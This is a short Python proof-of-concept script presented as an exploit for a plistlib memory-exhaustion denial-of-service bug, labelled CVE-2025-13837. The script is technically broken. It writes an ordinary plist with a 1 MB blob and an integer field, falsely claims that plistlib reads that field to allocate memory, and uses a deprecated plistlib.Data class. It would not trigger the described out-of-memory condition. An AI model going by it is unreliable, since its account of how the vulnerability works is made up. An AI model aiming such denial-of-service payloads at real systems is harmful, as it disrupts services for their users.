The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-13837 PoC - Python plistlib OOM DoS
This PoC demonstrates the memory exhaustion vulnerability in Python's plistlib module.
"""
import plistlib
import struct
import os
def create_malicious_plist(output_path, fake_size=1024*1024*1024):
"""
Create a malicious plist file that declares an extremely large size,
causing plistlib to attempt allocating huge amounts of memory.
Args:
output_path: Path to save the malicious plist file
fake_size: The fake size to declare in the plist (default: 1GB)
"""
# Create a minimal plist with an oversized data field
malicious_data = {
'malicious_payload': plistlib.Data(b'\x00' * min(fake_size, 1024*1024)), # Limit actual data
'declared_size': fake_size # This is what plistlib reads to allocate memory
}
with open(output_path, 'wb') as f:
plistlib.dump(malicious_data, f)
print(f'[+] Malicious plist created: {output_path}')
print(f'[+] Declared size: {fake_size} bytes ({fake_size/(1024**3):.2f} GB)')
def trigger_vulnerability(plist_path):
"""
Attempt to parse the malicious plist file to trigger OOM.
"""
print(f'[*] Attempting to parse: {plist_path}')
try:
with open(plist_path, 'rb') as f:
data = plistlib.load(f)
print('[!] Parsed successfully - vulnerability may be patched')
except MemoryError as e:
print(f'[+] MemoryError triggered - vulnerability confirmed: {e}')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
if __name__ == '__main__':
import sys
# Create malicious plist with 1GB declared size
fake_size = int(1024**3) # 1GB
output_file = 'malicious.plist'
create_malicious_plist(output_file, fake_size)
trigger_vulnerability(output_file)
# Cleanup
if os.path.exists(output_file):
os.remove(output_file)